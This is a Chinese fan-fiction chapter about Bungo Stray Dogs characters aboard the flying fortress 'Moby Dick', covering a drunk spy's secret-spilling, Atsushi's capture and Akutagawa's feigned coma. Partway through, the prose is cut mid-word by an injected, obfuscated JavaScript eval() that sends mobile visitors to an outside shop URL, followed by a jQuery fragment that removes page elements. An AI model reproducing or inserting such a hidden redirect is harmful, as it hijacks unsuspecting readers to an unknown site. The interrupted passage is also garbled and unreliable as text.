“陀思,你来的不合时宜。”

    面对太宰治的揶揄,陀思冷笑道,“故意在为数不多亮灯的房间外苟且,到底谁不合时宜。”

    羽生久完全就像没看见陀思一样,旁若无人的依旧箍着太宰治的腰,磨蹭他的面颊。

    说不清是把陀思当自己人还是不把陀思当人。

    “我需要你先离开一会儿。”太宰治客气得开口,这时候陀思却脚下生根一样,“禁酒令的‘原因’,我也想知道。”

    太宰治骂道:“你到底在这里站多久了?BT。”

    “拿我当外人,我真的很伤心。”

    “去死。”

    陀思慢悠悠得把门合上,黑暗重新笼罩过来,只有一线光束从门缝中射出,落在两人中间。

    在寂静之中,羽生久直接将太宰治禁锢在了墙上,浅尝即止得亲吻,与越界的肢体接触,虽然早就习惯了羽生久病态的接触欲,但是在外面也还是头一次。

    那双温热的手从头发延伸向脖颈,再到肩脊,他几乎控制不住自己因此而颤抖。

    “行了……”他开始推搡,“你到底说不说?”

    “有人在听。”羽生久开口道,意有所指得往光线射来的地方看去。

    “在白鲸上,就没有他无法听见的东西。”

    门后的人在听见这个评价后不知是和心理,笑出声来。

    “你真的很变态,我以前看错你了。”太宰治高声道。

    “彼此彼此,太宰治。”陀思的声音从门后传来,“那我先离你们远点吧,反正不管你们说什么,我都能知道。”

    声音越来越远,陀思往房间的深处走了。

    “我现在的状态,就是‘禁酒令’的原因。”羽生久的话令太宰治愣了愣。

    现在的状态……随心所欲?放飞我自?借着喝醉了的名头去打了上司一顿?

    每一个都很合理,毕竟上述都没有羽生久临时起意带着太宰治潜入“组合”的空中要塞刺激。

    “我常年游走于各国官方机关,性质影响,我知道各个国家公之于众足以引起混乱的秘密。这些处于职业素养,我向来都装作不知晓。”

    太宰治替他说了下去,“所以,你在替俄罗斯工作那会儿,那一点兑水的伏特加,让你突破了你的‘职业素养’?”

    正如羽生久所说的,非常简单的“事故”。

    众所周知喝完酒的固定流程是扯皮,扯皮离不开吹牛,羽生久醉酒过后的异常很好看出来,诚实,这个阶段不管什么人问他什么问题,他都能毫无心理负担得讲出来。

    于是,当他说出英国MI6近期行动的秘钥,法国异能制品库房的位置以及俄罗斯国防部核武器的密码获取方式,事情就完全失控了……

    在场的所有人都惊悚得扑上来试图捂住他的嘴。

    闭嘴啊!!!我们不想知道这些,我们还想活久一点啊啊啊,闭嘴!

    然而很遗憾的事,在场没人能在物理上压制羽生久,反而被不太清醒的羽生久用粗麻绳捆在了一起,听他讲了一晚上各国机密。

    真的很绝望了。

    事后羽生久的上级在权衡之下,明智得选择了将这件事情封存,所有涉事人员签了保密协议发送老家,以及羽生久的“禁酒令”。

    “那现在不管什么人问你什么问题,你都会说的?”太宰治饶有兴致得问道。

    “你现在可以下令,让我不要回答别人的问题。你的优先级在别人之上。”羽生久格外认真的说道。

    太宰治眨眨眼睛,“先生,我都分不清您是不是在说情话。”

    “我在说事实。”

    很直白的阐述。

    太宰治勾住羽生久的脖颈,“我真的很喜欢您这个状态,要不,再来一口酒?”

    *

    角落里的芥川断了一条手臂,腿骨骨裂,肋骨断裂三根,他已经陷入了昏迷。

    泉镜花被自己的异能力【夜叉白雪】用长刀抵住脖颈,无法动弹分毫。

    “不要反抗了,我留你的朋友一条性命。”

    弗朗西斯以居高临下的视角俯瞰中岛敦,白发少年此时跪在地上剧烈喘息,潺潺鲜血从他脖颈的铁质项圈处流淌出来,浸湿了衣物。

    项圈内侧的尖刺几乎穿透了他的脖颈。

    这是控制异能力的代价,即便是现在这种局面,他也不能冒险摘掉项圈,因为白虎首先选择的攻击对象可能不是弗朗西斯,而是泉镜花,或者已经没有反抗能力的芥川。

    “敦!快跑……”

    夜叉白雪的长刀威胁的下压,弗朗西斯伸手,放在了少年的脑袋上,揉了揉那些白色的头发。

    “我很欣赏你,少年。”他满意得感觉到少年的呼吸因为屈辱而加重,他浑身的肌肉紧绷得几乎痉挛。

    “不过有些事情就是那样,你没有实力,就没办法改变。所以,与其拼命挣扎造成更严重的后果,不如顺从。我不会杀了你。”

    泉镜花愤怒得瞪视着弗朗西斯,她蓝色眼睛里的恨意几乎要燃烧起来。

    “女孩,我已经对你相当仁慈了。上一个敢对我出手的‘组合’成员,现在正在大西洋里。因为赫尔曼在,我不会对你做什么,你也不要再挑战我的底线。”

    “我不是‘组合’的成员!”泉镜花尖锐反驳。

    “你是赫尔曼的养女。”弗朗西斯用力揉了揉手底下白虎少年的头发,将那些本就不整齐的头发弄得乱蓬蓬,“你很在乎他,那我就尽量保证他活着。这是我能做出的最大让步。”

    在弗朗西斯的视角中,泉镜花看他的眼神想要将他生吞活剥了,他从来不做养虎为患的事情,但是事情就难办在,赫尔曼非常喜欢这个女孩。

    “我跟你走。”

    白虎少年几乎是从牙缝里挤出这几个字,“我,跟你走。你放他们离开。”

    “那个少年可以走。泉镜花是赫尔曼的养女,她会被软禁在‘组合’。”弗朗西斯笑了笑,“别担心,她在组合,比在哪里都要安全。”

    “至少现在是这样。”

    从中心大楼的中层玻璃往外看,伦敦灯火绵延。

    也许,亮不了多久了。

    *

    “不要动,芥川。让他被抓走。”微型通讯设备中,乱步的声音不断在芥川耳边重复,“别动,一切都在计划之中。”

    “昏迷”的芥川呼吸停滞两秒,紧接着恢复重伤者紊乱的呼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830224|207360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吸。

    他不明白为什么这样做,但是既然乱步先生都这么说,他选择遵从。

    “很痛吧。”乱步突然开口道,“知道你不怕痛,但是痛还是存在的。抱歉,你受伤有我的过错。”

    为什么有你的过错?芥川依旧不理解。

    明明是因为他技不如人,被打伤了也只能说是他自己的问题,乱步先生是操盘者,他为什么要为自己受伤感到抱歉?

    但是现在他不能说话,只能边装昏迷,边在疼痛中胡思乱想。

    “芥川?你可别死了,我正在来的路上。”与谢野晶子这时候加入频道。

    在下可没那么容易死。芥川在心里反驳。

    等着等着,他真的昏了过去。

    *

    门被推开,白鲸上层属于弗朗西斯的办公室,落地的玻璃窗可以看见外面漆黑绵密的云层。

    陀思在房间中央,坐在一把欧式木质圆椅上,浑厚悠扬的大提琴声盘旋。

    一曲终,太宰治捧场拍手,“世界级的水准。”

    “只是某些人的背景音而已。”陀思讽刺道。

    “我们在外面可没听见。”

    太宰治随手拖了张椅子,椅背朝向陀思倒坐着,两臂搁在椅背上,“你在这里等我们,等什么?”

    “等你们一起观看这出精彩的戏剧。”

    大提琴悠长的和弦下,陀思以咏唱似的口吻道。

    白鲸的高度在下降,云层之下,伦敦夜景璀璨。

    “虽然时间提早了一些,但好在,没有很大的影响。”

    “哦,怎么说?”

    太宰治单手撑着下巴,露出一个阴翳的笑容,与陀思那运筹帷幄的浅笑相似至极,“你的信心是从哪里来的呢?”

    “或许,正好就是那瓶橡树山庄的红酒?”

    时间倒回几个小时之前,金翅雀道,联排的红砖别墅。

    红酒摆放在实木桌面发出清脆的响声,当着陀思的面,太宰治用珐琅古董开瓶器打开了那瓶昂贵的红酒,暗红的酒液被倒入杯中,就像是丝绸摇晃。

    他喝了一口,喉结滚动,“很不错,确实有橡树的风味。”

    “你在里面加了什么?”太宰治好像毫不在意得问道,就像在问陀思调酒里面放了哪些品种的洋酒一样。

    “你问我吗?”陀思歪了歪脑袋,黑色的微长发丝一缕落下来,“我又怎么会告诉你呢,太宰。”

    *

    在异能力【白鲸】的作用下,弗兰西斯带着泉镜花与中岛敦回到空中要塞。

    在白鲸最底部,一个底部透明的空间,白色的支柱支撑穹顶,脚下城市的光亮好像星星。

    弗朗西斯道:“赫尔曼,控制白鲸的方向,去美国的组合总署。”

    空间中间,坐在高靠背扶手椅子上的老年绅士手中拿着烟斗,他摇了摇头,“我控制不了白鲸。”

    “为什么?我已经把权限放给你了。”

    赫尔曼向泉镜花招了招手,镜花却猛得向旁边转头,他最终只能放下手,站起来,

    “有东西入侵了系统。”

    他吐出一个烟圈,眼神中全是不知何来的哀悯,“白鲸正在往大海游去。”